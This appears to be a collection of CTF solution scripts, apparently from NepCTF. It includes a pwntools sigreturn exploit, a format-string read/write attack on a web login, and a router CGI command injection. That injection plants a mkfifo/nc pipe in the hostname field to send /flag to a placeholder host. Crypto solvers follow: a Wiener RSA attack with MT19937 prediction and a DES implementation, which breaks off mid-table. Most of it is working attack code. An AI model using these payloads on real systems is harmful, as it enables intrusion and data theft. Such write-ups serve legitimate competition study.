1
from pwn import *
2

3
context.arch = "amd64"
4
context.log_level = 'debug'
5
# io = process("./pwn")
6
io = remote("nepctf.1cepeak.cn", 31943)
7

8
mov_eax_15 = 0x0000400754
9
buf = 0x00000601050
10
ret = 0x004007AE
11
syscall = 0x0004005B0
12
pop_rdi = 0x0000000000400813
13
stack = 0x0601a50
14

15
frame = SigreturnFrame()
16
frame.rdi = 0
17
frame.rsi = 0
18
frame.rdx = stack-0x8
19
frame.rcx = 0x1000
20
frame.rip = syscall
21
frame.rsp = stack
22

23
payload = b"a" * (0x0030+8) + flat([
24
    pop_rdi,
25
    15,
26
    syscall
27
]) + bytes(frame)
28

29

30
io.send(payload)
31
sleep(0.5)
32

33
frame = SigreturnFrame()
34
frame.rdi = 2
35
frame.rsi = stack-0x8
36
frame.rdx = 0
37
frame.rcx = 0x1000
38
frame.rip = syscall
39
frame.rsp = stack + 0x110
40
payload = b"./flag\x00\x00" + flat([
41
    pop_rdi,
42
    15,
43
    syscall
44
]) + bytes(frame)
45

46
frame = SigreturnFrame()
47
frame.rdi = 0
48
frame.rsi = 3
49
frame.rdx = stack-0x100
50
frame.rcx = 0x40
51
frame.rip = syscall
52
frame.rsp = stack + 0x110 + 0x110
53
payload += flat([
54
    pop_rdi,
55
    15,
56
    syscall
57
]) + bytes(frame)
58

59
frame = SigreturnFrame()
60
frame.rdi = 1
61
frame.rsi = 1
62
frame.rdx = stack-0x100
63
frame.rcx = 0x40
64
frame.rip = syscall
65
frame.rsp = stack + 0x110 + 0x110 + 0x110
66
payload += flat([
67
    pop_rdi,
68
    15,
69
    syscall
70
]) + bytes(frame)
71

72
log.success(f"length {len(payload):#x}")
73
io.send(payload)
74

75
io.interactive()

1
mkdir app/templates
2
cd app/templates
3
echo #!/usr/bin/env -S python3 -c "import os; os.system('cat flag')">kernel
4
mount kernel

1
from pwn import *
2
import requests
3
req = requests.session()
4

5
url = "http://nepctf.1cepeak.cn:30424"
6
req.get(url)
7

8
context.log_level = 'debug'
9
# io = process("./kernel")
10
io = tube()
11
def io_recv_raw(*a):
12
    r = req.get(url + "/receive")
13
    print(r.json())
14
    return r.json().get('output', "").encode("utf-8")
15
def io_send_raw(x):
16
    r = req.post(url + "/send", data={"input": x})
17

18
io.recv_raw = io_recv_raw
19
io.send_raw = io_send_raw
20
# tob = lambda x: x.encode("utf-8")
21

22
def rm(file):
23
    io.sendafter(b"$", b"rm %b" % (file,))
24

25
def cat(file):
26
    io.sendafter(b"$", b"cat %b" % (file,))
27

28
def init(content):
29
    io.sendafter("Make a wish to Nepnep", content)
30

31
def echo(file, content):
32
    io.sendafter(b"$", b"echo %b>%b" % (content, file))
33

34
def mkdir(name):
35
    io.sendafter(b"$", b"mkdir %b" % (name,))
36

37
def cd(name):
38
    io.sendafter(b"$", b"cd %b" % (name,))
39

40
def exec(name):
41
    io.sendafter(b"$", b"exec %b" % (name,))
42

43
def id():
44
    io.sendafter(b"$", b"id")
45

46
def mount(name):
47
    io.sendafter(b"$", b"mount %b" % (name,))
48

49
def leave():
50
    io.sendafter(b"$", b"exit")
51

52
for i in range(32, 127):
53
    log.success(f">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>{i}<<<<<<<<<<<<<<<<<<<<<<<<<")
54
    leave()
55
    req.get(url)
56
    sleep(0.5)
57
    payload = b""
58
    init(payload + b";" * (104 - len(payload)))
59
    mkdir(b"app/templates")
60
    cd(b"app/templates")
61
    echo(b"kernel", b"""#!/usr/bin/env -S python3 -c "import os; os.system('cat flag')" """)
62

63
    echo(b"data", b"a"*(0x100-2) + b"bc" + b"\x21\x42")
64
    cat(b"kernel")
65
    echo(b"step1", b"mov rdi,data; syscall 0;")
66
    echo(b"step2", b"mov rdi,data; mov rdx,258; syscall 1;")
67
    exec(b"step1")
68
    exec(b"step2")
69

70
    mount(b"kernel")
71
#  59  52 65 0f 37  56
72
# 7c  12 3c 44 45  56
73
io.interactive()

1
import contextlib
2
import requests
3
import os
4

5
session = requests.Session()
6
login_url = "http://106.75.63.100:34903/formLoginAuth.htm?authCode=1&userName=admin&goURL=home.html&action=login"
7
raw = session.get(login_url, timeout=5)
8

9
inject_url = "http://106.75.63.100:34903/cgi-bin/cstecgi.cgi"
10
inject_data = {
11
    "proto":"8",
12
    "hostname":"';" + """rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/cat /flag/flag  |nc xxx.xxx.xxx.xxx 1234 >/tmp/f""" + ";'",
13
    "topicurl":"setOpModeCfg"
14
}
15

16
with contextlib.suppress(Exception):
17
    resp = session.post(inject_url, json = inject_data, timeout=1)
18
print("shell!? ---------------> ")

1
import struct
2
import time
3

4
import requests
5
from pwn import *
6
import logging
7

8

9
def creat_logger(log_path, logging_name, suf_name):
10
    if not os.path.exists(log_path):
11
        os.makedirs(log_path)
12
    log_full_path = log_path + logging_name + suf_name
13
    logger = logging.getLogger(logging_name)
14
    logger.setLevel(level=logging.DEBUG)
15
    handler = logging.FileHandler(log_full_path, encoding='UTF-8', mode='w')
16
    handler.setLevel(logging.INFO)
17
    formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
18
    handler.setFormatter(formatter)
19
    console = logging.StreamHandler()
20
    console.setLevel(logging.DEBUG)
21
    logger.addHandler(handler)
22
    logger.addHandler(console)
23
    return logger
24

25

26
logger = creat_logger("./", "log", ".txt")
27
req = requests.session()
28
start = b"deadbeaf"
29
end = b"asdewedv"
30
url = "http://106.75.63.100:34617"
31
# url = "http://172.20.192.1:8080"
32

33

34
def read_s(offset):
35
    if offset < 0:
36
        offset += 2 ** 32
37
    while True:
38
        try:
39
            r = req.get(url + "/login", params={
40
                "user": f"{start.decode()}%{offset}$s{end.decode()}",
41
                "password": "aaaa"
42
            }, timeout=1)
43
            break
44
        except ConnectionResetError as e:
45
            print("retrying...", e)
46
            time.sleep(0.5)
47
            pass
48
        except TimeoutError as e:
49
            print("retrying...", e)
50
            time.sleep(0.5)
51
            pass
52
        except requests.exceptions.ConnectTimeout as e:
53
            print("retrying...", e)
54
            time.sleep(0.5)
55
            pass
56
    s = r.content
57
    # print(s)
58
    code = s[s.find(start) + len(start):s.find(end)]
59
    return code, hex(struct.unpack("<Q", code[:8].ljust(8, b"\00"))[0])
60

61

62
def get_p(offset):
63
    if offset < 0:
64
        offset += 2 ** 32
65
    while True:
66
        try:
67
            r = req.get(url + "/login", params={
68
                "user": f"{start.decode()}%{offset}$p{end.decode()}",
69
                "password": "aaaa"
70
            }, timeout=1)
71
            break
72
        except ConnectionResetError as e:
73
            print("retrying...", e)
74
            time.sleep(0.5)
75
            pass
76
        except TimeoutError as e:
77
            print("retrying...", e)
78
            time.sleep(0.5)
79
            pass
80
        except requests.exceptions.ConnectTimeout as e:
81
            print("retrying...", e)
82
            time.sleep(0.5)
83
            pass
84
    s = r.content
85
    code = s[s.find(start) + len(start):s.find(end)]
86
    return code
87

88

89
def write(offset, x):
90
    if offset < 0:
91
        offset += 2 ** 32
92
    while True:
93
        try:
94
            r = req.get(url + "/login", params={
95
                "user": f"%1000${x}c%{offset}$hhn",
96
                "password": "aaaa"
97
            }, timeout=1)
98
            break
99
        except ConnectionResetError as e:
100
            print("retrying...", e)
101
            time.sleep(0.5)
102
            pass
103
        except TimeoutError as e:
104
            print("retrying...", e)
105
            time.sleep(0.5)
106
            pass
107
        except requests.exceptions.ConnectTimeout as e:
108
            print("retrying...", e)
109
            time.sleep(0.5)
110
            pass
111

112

113
# p = 15196
114
# write(p, 0x58)
115
# print(f"[+] {get_p(p)} => {read_s(p)}")
116
# p2 = 15513
117
def write_s(sx):
118
    s = struct.pack("<Q", sx).strip(b"\x00")
119
    print(s)
120
    for i in range(len(s)):
121
        p = 15196
122
        write(p, 0x78 + i)
123
        # print(f"[+] {get_p(p)} => {read_s(p)}")
124
        p2 = 15511
125
        write(p2, s[i])
126
        # print(f"[+] {get_p(p2)} => {read_s(p2)}")
127
        p3 = 15518
128
        print(f"[+] {get_p(p3)}")
129

130

131
# print(f"[+] {get_p(15712)}")
132
# # xt = int(get_p(15712).decode(), 16)
133
# # print(f"[+] {xt:#x}")
134
# print(f"[+] {get_p(15512)}")
135
# print(f"[+] {get_p(16110)}")
136
# # print(f"[+] {get_p(15712)} => {read_s(15712)}")
137
# for i in range(1, 0x31, 8):
138
# x = xt + i
139
# print(f"[+] {x:#x}")
140
heap_base = int(get_p(15059).decode(), 16)
141
print(f"[->] {heap_base:#x}")
142
xt = heap_base- 0x40
143
print(f"[->] {xt:#x}")
144
write_s(xt)
145
print(f"[+] done")
146
print(read_s(15518))
147

148
# write_s(0xdeadbeafdeadbeaf)
149
# p = 15196
150
# print(f"[+] {get_p(p)} => {read_s(p)}")
151
# p = 15513
152
# print(f"[+] {get_p(p)} => {read_s(p)}")
153
# p = 15516
154
# print(f"[+] {get_p(p)}")
155
# for i in range(0x3d5b-10, 0x3d5b+100):
156
#     code = get_p(i)
157
#     if code.startswith(b"0x55") or code.startswith(b"0x7f") and len(code):
158
#         content = read_s(i)
159
#         # print(f"[+] {i} => {code} => {content}")
160
#         logger.warning(f"[+] {i} => {code} => {content}")
161
#         continue
162
#     # print(f"[+] {i} => {code}")
163
#     logger.info(f"[+] {i} => {code}")

1
#include <string.h>
2
int main(){
3
printf("1234");
4
  size_t tmp = &printf;
5
tmp -= 0x61c90;
6
tmp += 0x52290;
7
((int (*)(const char *, ...))tmp)("en" "v");
8
 }

1
def decompress(input_file, output_file):
2
    with open(input_file, 'rb') as f:
3
        # Read frequency information
4
        num_freq = ord(f.read(1))
5
        frequencies = {}
6
        for _ in range(num_freq):
7
            byte, freq = f.read(1)[0], 0
8
            for _ in range(4):
9
                freq = (freq << 8) | f.read(1)[0]
10
            frequencies[byte] = freq
11

12
        # Rebuild Huffman tree
13
        root = build_huffman_tree(frequencies)
14

15
        # Decode compressed data
16
        with open(output_file, 'wb') as out_f:
17
            node = root
18
            while True:
19
                bit = f.read(1)
20
                if not bit:
21
                    break
22
                bit = int.from_bytes(bit, byteorder='big')
23
                for i in range(7, -1, -1):
24
                    if (bit >> i) & 1:
25
                        node = node.right
26
                    else:
27
                        node = node.left
28
                    if node.char is not None:
29
                        out_f.write(bytes([node.char]))
30
                        node = root

1
import random
2

3
from pwn import *
4

5
context.log_level = 'debug'
6
context.timeout = 3
7
getIO = lambda: remote("nepctf.1cepeak.cn", 30582)
8
io = getIO()
9

10
def getinfo():
11
    io.recvuntil(b"MESSAGE computer: ")
12
    io.recvuntil(b"\n")
13
    io.recvuntil(b"\n")
14
    io.recvuntil(b"\n")
15
    scoreboard = io.recvuntil(b"\n", drop=True).decode()
16
    # print(f"[+] Scoreboard {scoreboard}")
17

18
    # io.recvuntil(b"\t   a b c d e f g h i j k l m n o\n")
19
    checkerboard = []
20
    raw = io.recvuntil(b"\t   a b c d e f g h i j k l m n o\n").decode()
21
    for i in range(15):
22
        # io.recvuntil(b"\t" + bytearray([i+ord('a')]))
23
        r = io.recvuntil(b"\n").decode()
24
        raw += r
25
        a = r.strip()
26
        checkerboard.append(a[3::2])
27
    # print(checkerboard)
28
    return scoreboard, checkerboard, raw
29

30

31
key = "abcdefghijklmno"
32

33
def check_pos(x, y, checkerboard: []):
34
    res = 0
35
    cnt = 0
36
    for i in range(max(0, x-4), min(14, x+4)+1):
37
        cnt += checkerboard[i][y] == 'X'
38
    res = max(res, cnt)
39

40
    cnt = 0
41
    for i in range(max(0, y - 4), min(14, y + 4)+1):
42
        cnt += checkerboard[x][i] == 'X'
43
    res = max(res, cnt)
44

45
    cnt = 0
46
    for i in range(-4, 4+1):
47
        if 0 <= x + i <= 14 and 0 <= y + i <= 14:
48
            cnt += checkerboard[x+i][y+i] == 'X'
49
    res = max(res, cnt)
50

51
    cnt = 0
52
    for i in range(-4, 4+1):
53
        if 0 <= x - i <= 14 and 0 <= y + i <= 14:
54
            cnt += checkerboard[x-i][y+i] == 'X'
55
    res = max(res, cnt)
56

57
    return res
58

59
def get_nice_pos(checkerboard):
60
    p = []
61
    for i in range(15):
62
        for j in range(15):
63
            if checkerboard[i][j] not in ".+":
64
                continue
65
            p.append((check_pos(i, j, checkerboard), i, j))
66
    p.sort(reverse=True)
67
    return p[0][1:]
68

69

70

71
def action(checkerboard: []):
72
    print(len(checkerboard), end=" ")
73
    for x in checkerboard:
74
        print(len(x), end=" ")
75
    print()
76
    while True:
77
        # x = random.randint(0, 14)
78
        # y = random.randint(0, 14)
79
        # print(x, y)
80
        x, y = get_nice_pos(checkerboard)
81
        if checkerboard[x][y] in ['.', '+']:
82
            return key[y] + key[x]
83

84

85
for i in range(100):
86
    try:
87
        s, c, r = getinfo()
88
        log.success(f"Scoreboard {s}")
89
        log.success(f"Checkerboard \n{r}")
90
        ans = action(c)
91
        io.sendline(ans.encode())
92
    except EOFError:
93
        io.close()
94
        io = getIO()
95

96
io.interactive()

1
x = 0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17
2
xx = x.to_bytes(x.bit_length() // 8 + 1, "big")
3
key = b"YOUSHOULDUSETHISTOXORSOMETHING"
4
print(xx)
5
print(len(key), len(xx))
6
print((bytearray(map(lambda x: x[0] ^ x[1] ^ 32, zip(xx, key)))))

1
with open("attachment.tap", "rb") as f:
2
    data = f.read()[50:].strip(b"\xa0")
3
data = b"aaa" + data
4
chunk = 16
5
for i in range(0, len(data), chunk):
6
    # print()
7
    x = data[i:i+chunk][::-1].decode(errors="ignore")
8
    print("".join(map(lambda _: "  " if _ == '>' else _ + ' ', x)))

1
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
2
from gmpy2 import gcd, iroot
3

4
def hack_RSA(e, n):
5
    '''
6
    Finds d knowing (e,n)
7
    applying the Wiener continued fraction attack
8
    '''
9
    frac = ContinuedFractions.rational_to_contfrac(e, n)
10
    convergents = ContinuedFractions.convergents_from_contfrac(frac)
11

12
    for (k, d) in convergents:
13

14
        # check if d is actually the key
15
        if k != 0 and (e * d - 1) % k == 0:
16
            phi = (e * d - 1) // k
17
            s = n - phi + 1
18
            # check if the equation x^2 - s*x + n = 0
19
            # has integer roots
20
            discr = s * s - 4 * n
21
            if (discr >= 0):
22
                t = Arithmetic.is_perfect_square(discr)
23
                if t != -1 and (s + t) % 2 == 0:
24
                    print("Hacked!")
25
                    return d
26

27

28
def attack(n, e):
29
    d = hack_RSA(e, n * n)
30
    k = (e * d - 1 + n * n) // (n * n)
31
    tmp = (n * n) - ((e * d - 1) // k) + 1 + 2 * n
32
    ppq = int(iroot(tmp, 2)[0])
33
    tmp = (n * n) - ((e * d - 1) // k) + 1 - 2 * n
34
    pmq = int(iroot(tmp, 2)[0])
35
    p = int(gcd(ppq + pmq, n))
36
    q = n // p
37
    assert p * q == n
38
    assert e*d % ((p-1) * (q-1)) == 1
39
    return p, q, d
40

41

42
ss = """
43
9664150901450480967690564598017074925278657678428083526647019231493500227501186171121223353625264405549895808023865076405682104148869646937802710197692149880801739296224423720449697986562014962810427149274953670336431969720847239367252577312181797620406921597928891203908280967606801144879943997948288687269135451721341591758893489869339520600383114702594831680556978281938914417626897063741811649257614797234325708166759403120480173752153249168733044607204951768557734895758143808863754965572034240739588491294098941537522398891830128387438317592253663045532862058982832135946842401711673333170801808131328328138409
44
22983334574580917801180860838975915911056113991786778412831201182411314364399816331219602816987801515703576764159087708450625423803558017646160341422267439951044407124414015864769966876129437519084492109510818093789724685834745254039500061544494687297354628168281982577957457924120597256869151402144742486005161738151255767127578010682514603747674732192539709537275806788688798050708598638377916842971631011263261195175705071683872373603843884113967910301479453532836470974019712063094982740534667039293541440015250164631599817949388195744930270131276498157477215483242544464596689268807389029069272532067490083369547669715239977992410158704220313287358936476570197236442784273557421888378497464433353892887766426339418782876390919046890278793088868131975197880580905027785352428189007480894687391277338836087221071379217489414415183919425962364501612704379275059469144794211736312560265881110693864711202763941138206607689382712402597791806706502788925221170513306681258576676019323627743632448114452443097397014141839634039981951855535241851424638689366379545342739319677785567174640217613527540438283508170772807801142587539976048845517400474132948151081974542377578704999265763979523387588936804746887912462709543565738342209411
45
26421545185254987799905424190746332339125127121314171591428976353667115363763727486775614091903284658438097216623238914712478521157241139537987344330841699472419239411492271130318030306609434654284036687937944162679104946235126178521045633190386482424340322162024092955319660759058652161996411895209248718547013152501979160191126988501306653660575206430331327547695958573346502447806907651886805983227927733506487689107733064048662109346548423844168211328529388196436068858018422470472568131170937800147226367812703244919615304030171460050297573510835520868630853149705239212069246257510861666696541821151818169796199
46
647587495710510972114742400831708548154715412535242193260921609695347930936707036639358968164012520349909437957090794941485190580257732521977171932341037504324231632999867734166481147062308183081010136684146530539354916263125020063213571051436518584206830118093755508481812082245822690944819197599760354341006609736609770789666793064642703641481389320623277678173558301629672865116377269127942025612180794827944539599815847863105760862109828389140681525680276554276533927094628602058843675286071339454429465986971694907927688830239142611855187274379851523189108755859657533224271693320278278605425423386495384174568562497627761612422045791957059437741493328698509481368554006456683812993984891378698935039540883929464645807942966456158605263661813471703445078327854656000079848297587266423318192874967873522951070558487797128927313745909508734015212545363132719971877683921675395438436594169300084386617636244174085949981341272801441913192529055922603538974179887610571219493524648953191928761783132985310317276631200614903232826609021472846793881344295699985919781942936761500592413666531213913327520376681809371295266029776133655277736129022073066033964950152867511761886746401418419578828754174047939112010456150675463575657509189
47
10802012890829459540541628896792295078778436077857489427389981093725666739897304883046269390863878441152550000748160396908161524179907858077000487740264046477305439871796448601143325277932003810352123707096051383675738121180861345577006541031517155258339948241289482502904363911440323113072882087374540321696726636204227138558487828152291517517119224906926633391353300941778394425937626996455545868331674490267329118395561623628314372766364381142098697604044336132503664081692651614933878766623288150407771680698950374395680226687162951709227319486379639675961227436372862323642542582705252736363789548988448924281523
48
83164181286675647518830286473660936842056768837605965773754722828164869255002601931877175384944967168423206258868966986144360226269117391889938003716473472419177908278255032274351977454805821764218411534787094767284216135276174354406996436906142025032430967949150772284199385705263345050808935420677789360168112630311736817620156906081165474809562107538852267394278439066621108665747312736533966159229107173152465365414052064089548384023025856375904149686916115214912086305308341266693329116385815754412736749978601321323191864143850174315828039788320203726197797788026323483995092501876361540056171546433345056509023822723392649116651071369395319931930221212866085340561430347693225966408351502938942294604586300299982831155358938495260400185484497256896416324370391657125309375755376057180940858375964786733652546488880996426657064631708252560023474877949301792612429382653730100520713338044964401333750090947037843448152614531864695601400078878276612572266304350518364495335341275038759497131064447619421326513680343303115330200681996349441238490209605256140282866353360785265474868465131016931425931964393177163140173169398499291572984733338118081910704432753107524477347843354958141041369207588577081612844623302487399941453933
49
7896711153350680182046433804310163873530744638818895739714243668607588547792890005637528789452971314751693622472528149754510450552025972279187841776097749142749323304216218612718765727398943401294644022496938258864873262044174164494124912426175372524656376121897875690251938452930789747994519674300862595216275541928658146402252536829579922303097776404657455395450853161185534506599329499328761065707811197966475148318482438088816924842458585192796056395380885795831624193355572079389648572361687920747403086875781493091238221420792111039898275872964722825166960441004965842026859265796562573640732063541877035703999
50
2453336941794377920668315851654619953646928905461467141099094168657719206064766651951427088886039685796776114141822989089619723777926424614857001633051068225552956142083890497598873667557028446871021184458240143729566494812770661669240646268836255291274950055880283884837660674102748619167688728015214974199172102739298082411466099956770246119223362727103493898761907722553589378295675272645561934551025890703140999463094569248990423646872411723328409457823533926161366175638210485154684713670484074111551184519212764546709551586814178654768531770178427218348159524090067132668379834207556749709109588553767744958928030458642933207972731738889836640270310522407082557073074220327314630716521374036182110178874650024321686921170512401592772523798249960102467660742850794643617416339049505280450162445401270432730440216281390479357051798091526529334107226924555476475287445348397336720445992548926807772402601594999910439716972523884323110378738095230641354005535939595738498325951885080299526970515488294162554370726438356887387936240973624985584430961461016270437469408900537013699409622145224578929157293051142754994365105441300293953769949427089080402762107252481674439414260001163630002002209227608718701864539764471854120765149
51
934357599818997062963713308304362991596280828009512110755774617078887165360994483469754259794232045134748049571365890970600399733065188159532911208357285158307632045436603686477662110964558434302467120269827088523605436776745307435600233303494688594128265424710248665574421617599397235608386293736009112635240116363197127688715563025691804376760043956191129689115106451454594303458289356459242344139405236999049625726629507017505219076937886664753583057499783039263793580691707653961619033353122066993401993412281067305045569711817510917816670267012976388544311131447428560310255424118434372129058504068971704509583
52
452535985385426610533595291636837260029529161119012527028832154063118066054114365212225611604413376466306821291622206453481076548722964431496720642815073434660316751461773927736769380260565572635521865666418131804097223787559572584034429232767907408588386908627811135292858626656533240022150603513420578118687227948584091074426900135895322629439907454314781910440178440833975308243442451505929901732597325250942477885257392248372956797459556418043140426549205059992693832494817312609114820874540542115879517751481239945773745036685837555782445189562031306229705420041083026014508308653365829010341657395972738383225136782775802242507679530114388408690163501378818581259836086658314750295168292063413234606975054845567353768299988855117672810051088400466976103022087953981820980574159918396071750775318139479271235473733328684536087473478158695154228827351532739332906517313798270187902326156179644850383883874005798210565002897279183014905697229418005561458301283927876097634598729273370887688127716799146589959547718296529504218197024144569252951455907047844555593109642331128337551457131825334129476995668564725114284200611621984522440766436051246003019078387721989410126014046300337526406832227661211670511374666171933242207761
53
21636726262954983891798049753528884949149278107055957653804164122232750629108771687361858365462276461758050089339414649308189481865701469685971089624677686415038790141344992019067961279901006021154460525723482009962909666812029094177916225260557575750852951983028595026985975759287231315896982867941386247369741207715929550901277459410981688464120324580668604126829385737148142010733680106833740158713528050751799693988082141485112234559239865511692418065113774817308071898684749289577274638116406277808547134140659187860357703459236546455683700089064295899984063024669612762793525503212165546539776762359198804880143
54
121831222096537368999356089708412896046021123796479990498164844552933248218587707868671273702871780046383065460423688141024214392817157791234305056319786064285936708392236448824783787802429682770337272235088202671105152535710294695902974253047704609221448981405609532633533062373004757059178427305919782441807444728003944125735197038228206500793881947731683045961796477046714111614358449413877923492947221540637411996522154279667079850899812790025430709528400798251289702825878302828745393493824877531623611021252456356175891394204733580270256164603165280954431866062942260146653644302782243197898971847034949620717936360716813922698249012591248773536863924987646374098897933678199676635398286431303649466386258192966901198806753276444091301228010214339088108290023638595922653691209504127688631013840850339138278703745938757018854197798962009892613282181507128330931048662067002367216863617848322567299023690624245593206164105677495564960539642415302357595708814138558968835481632687790665010565719903412940128287504825368916534220790908431745824689253975485426199665419413293026825301727942248672409218671101407001619695622271079059718159320809385046289813332457898242478875287662049306326128127096487004090260965504341859573161979
55
5970296459863639263155783075172703907538560676961520474432385024839627916414414908656192009767702560571700661568202705725697718102111106038786955170270219508803648130754658135536335026559679753140733217830203813331793926165711104662514382832955840370630723176415927796955765169553517462286240424922177248496576208476937262840173500549507825256850681559103373575719799534073745792805709350898345377043444572387322205792026096379146084848266043619559701164699491546970266459037417312873294970955821603622312389603295515738649074112877256884131342394799593566008925579319817453597162465762851343362551362340193519234111
56
18976399709138358912615581289803736063685392526627126047585536571255137591890898469016131796862155245718632726865355864471577906314641282253655270136097246496157189183315479252842675388863506996293537386049856520375327248649829502157752917745660189131281987348802723603782945921331000190785525591621756168923822951821404353646825235167866284344617268886872941218738132870839917479807740404673373159559070563008075098345562213387428585134527952927397372161736924000067060148836364979179350873731455181407191524960955000331041112836325967730682314802564504793245212062165765383998948417925582958872582993455246869810367559513521188245827564742949660925007994864642588404989913088438650029238240908588039032304578884090105469536379896758734713314973495243747985470691862911913134723349279860545443973275726615548263752591810660223834517909123784767147753948727361870320431446223866316111276171603492135128216357176021812643706643763587976997347084988208779018873039456862231395447809853586521609100405013300467752808797446255256509955396709060833818059140619116092459497493686455825427088609805918612964163855925495410440760559642006382819680630706627333218589739634830096224810601690036163130895447446190737732854075739908518171940791
57
""".strip().split()
58
arr = list(map(int, ss))
59
xx = []
60
for x in range(7):
61
    n = arr[2*x]
62
    e = arr[2*x + 1]
63
    xx.append(attack(n, e))
64
print(xx)
65
#
66
global_bits = 1024
67

68
from extend_mt19937_predictor import ExtendMT19937Predictor
69

70
for p, q, d in xx:
71
    print(hex(p & 0xffffffff), hex(q & 0xffffffff), hex(d & 0xffffffff))
72
    print(p.bit_length(), q.bit_length(), d.bit_length())
73

74
print(len(xx))
75
for xt in range(2 ** 7):
76
    try:
77
        predictor = ExtendMT19937Predictor()
78
        for i in range(7):
79
            if xt & (1 << i):
80
                predictor.setrandbits(xx[i][0] >> 32, global_bits - 32)
81
                predictor.setrandbits(xx[i][1] >> 32, global_bits - 32)
82
            else:
83
                predictor.setrandbits(xx[i][1] >> 32, global_bits - 32)
84
                predictor.setrandbits(xx[i][0] >> 32, global_bits - 32)
85
            predictor.setrandbits(xx[i][2] >> 32, global_bits - 32 - 32)
86
        # d = predictor.predict_getrandbits(global_bits - 32)
87
        # print(d)
88
        break
89
    except ValueError:
90
        print(xt)
91
        del predictor
92

93
from gmpy2 import next_prime, invert as inverse_mod
94
from Crypto.Cipher import PKCS1_v1_5
95
from Crypto.PublicKey import RSA
96
from random import getrandbits
97
from math import lcm
98
from sys import exit
99
def generate_prime(bits: int):
100
    p = (predictor.predict_getrandbits(bits - 32) << 32)
101
    return next_prime(p)
102

103

104
def generate_private_key(bits: int):
105
    q, p = generate_prime(bits), generate_prime(bits)
106
    n, phi = p * q, lcm(p-1, q-1)
107
    print(p.bit_length(), q.bit_length())
108
    print(hex(p & 0xffffffff), hex(q & 0xffffffff))
109
    d = inverse_mod(0x10001, phi)
110
    privateKey = RSA.construct((int(n), int(0x10001), int(d), int(p), int(q)))
111
    return privateKey, p > q
112

113

114
privateKey, signal = generate_private_key(global_bits)
115
Cipher = PKCS1_v1_5.new(privateKey)
116
cc = b"\x02\x81\xbe\x9e^\xdc2\xf6V~\x98 \x97\x125\xa2-\xe3gal\x96\x02\xba\xe8\xaaN*\xce\xe98\x8eAhSNz\x08;Vb\xe0\x9d\xe2\x15\xf6\x12\xd6\xe5'a\xc0\rt\r+\xa4_\xaa\x19\xc4\x97>\xa1\r\x14\x18\xfe\xd4\xa8~d\xfe\x9d\x95>\x0f\x84\xfa/p\xfa\x91\x070\xd1\xa64\xb2N\x9a\xe9\x01\xe9\x91\xa58\x81\xb2\\H&B\xcc\xde\xe8|\x87\xed\x0e)\xd3\xde\x93f\xa5\x0e\xecv\x9c\xcea%\x85\x9e\xb8\x10\x9ea\xdfnME\x18i\xab,\x96{\xab\xf3i\xa9I\xc2\xbb\xac\x81\x12\x04\xf4J8N\xfbE\x0fp.P\x9b\xacrX\xc1Hk\xff->\x9b\xd99\xd2L\xc2\x849*\xfa\xf3>\x8c&23\xceu\xb7\xf7\xa2\x81\x15\xacOX}\xd3t\xa6T\x1b7\xa9\xf6\x163\x96\xa1\xe1\xd7\xb3e\xccB\x9a\xee\x83B|\x92E>C\xfb\xd5\xc5\xe3#\xa514\xa0\x1b\x03\xbf\xf6\xb3\x1bK\xa2=\xaf3\x03w\x91\xdeU\xb51Y}%\x89\x00"
117
print(Cipher.decrypt(cc, None))

1
for i in range(16):
2
    for j in range(ROTATIONS[i]):
3
        L.append(L.pop(0))
4
        R.append(R.pop(0))

1
from operator import add
2
from typing import List
3
from functools import reduce
4
from gmpy2 import *
5
from Crypto.Util.number import *
6

7
_IP = [57, 49, 41, 33, 25, 17, 9, 1,
8
       59, 51, 43, 35, 27, 19, 11, 3,
9
       61, 53, 45, 37, 29, 21, 13, 5,
10
       63, 55, 47, 39, 31, 23, 15, 7,
11
       56, 48, 40, 32, 24, 16, 8, 0,
12
       58, 50, 42, 34, 26, 18, 10, 2,
13
       60, 52, 44, 36, 28, 20, 12, 4,
14
       62, 54, 46, 38, 30, 22, 14, 6
15
       ]
16

17

18
def IP(plain: List[int]) -> List[int]:
19
    return [plain[x] for x in _IP]
20

21

22
__pc1 = [56, 48, 40, 32, 24, 16, 8,
23
         0, 57, 49, 41, 33, 25, 17,
24
         9, 1, 58, 50, 42, 34, 26,
25
         18, 10, 2, 59, 51, 43, 35,
26
         62, 54, 46, 38, 30, 22, 14,
27
         6, 61, 53, 45, 37, 29, 21,
28
         13, 5, 60, 52, 44, 36, 28,
29
         20, 12, 4, 27, 19, 11, 3
30
         ]
31

32
__pc2 = [
33
    13, 16, 10, 23, 0, 4,
34
    2, 27, 14, 5, 20, 9,
35
    22, 18, 11, 3, 25, 7,
36
    15, 6, 26, 19, 12, 1,
37
    40, 51, 30, 36, 46, 54,
38
    29, 39, 50, 44, 32, 47,
39
    43, 48, 38, 55, 33, 52,
40
    45, 41, 49, 35, 28, 31
41
]
42
ROTATIONS = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]
43

44

45
def PC_1(key: List[int]) -> List[int]:
46
    return [key[x] for x in __pc1]
47

48

49
def PC_2(key: List[int]) -> List[int]:
50
    return [key[x] for x in __pc2]
51

52

53
def get_sub_key(key: List[int]) -> List[List[int]]:
54
    key = PC_1(key)
55
    L, R = key[:28], key[28:]
56

57
    sub_keys = []
58

59
    for i in range(16):
60
        for j in range(ROTATIONS[i]):
61
            L.append(L.pop(0))
62
            R.append(R.pop(0))
63

64
        combined = L + R
65
        sub_key = PC_2(combined)
66
        sub_keys.append(sub_key)
67
    # print('LL=', L[:19])
68
    # print('Rr=', R)
69
    return sub_keys
70

71
def get_sub_key_attack(key: List[int]) -> List[List[int]]:
72
    L, R = key[:28], key[28:]
73

74
    sub_keys = []
75

76
    for i in range(16):
77
        for j in range(ROTATIONS[i]):
78
            L.append(L.pop(0))
79
            R.append(R.pop(0))
80

81
        combined = L + R
82
        sub_key = PC_2(combined)
83
        sub_keys.append(sub_key)
84
    # print('LL=', L[:19])
85
    # print('Rr=', R)
86
    return sub_keys
87

88
__ep = [31, 0, 1, 2, 3, 4,
89
        3, 4, 5, 6, 7, 8,
90
        7, 8, 9, 10, 11, 12,
91
        11, 12, 13, 14, 15, 16,
92
        15, 16, 17, 18, 19, 20,
93
        19, 20, 21, 22, 23, 24,
94
        23, 24, 25, 26, 27, 28,
95
